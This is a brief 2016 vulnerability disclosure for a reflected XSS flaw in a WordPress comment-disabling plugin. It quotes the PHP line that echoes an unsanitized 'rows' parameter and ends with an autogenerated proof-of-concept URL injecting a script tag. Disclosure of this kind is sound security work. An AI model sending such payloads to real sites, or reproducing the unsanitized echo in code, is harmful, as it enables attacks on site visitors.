Advisory #: 80
Title: Reflected XSS in wordpress plugin turn-off-comments-for-all-posts v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/turn-off-comments-for-all-posts
Downloads: 1708
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: turn-off-comments-for-all-posts
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./turn-off-comments-for-all-posts/turn-off-comments.php: 51: <p>Posts updated: <?php echo $_GET['rows']; ?></p><button type="button" class="notice-dismiss"><span class="screen-reader-text">Dismiss this notice.</span></button> The variable rows appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./turn-off-comments-for-all-posts/turn-off-comments.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/turn-off-comments-for-all-posts/turn-off-comments.php?rows="><script>alert(1);</script><"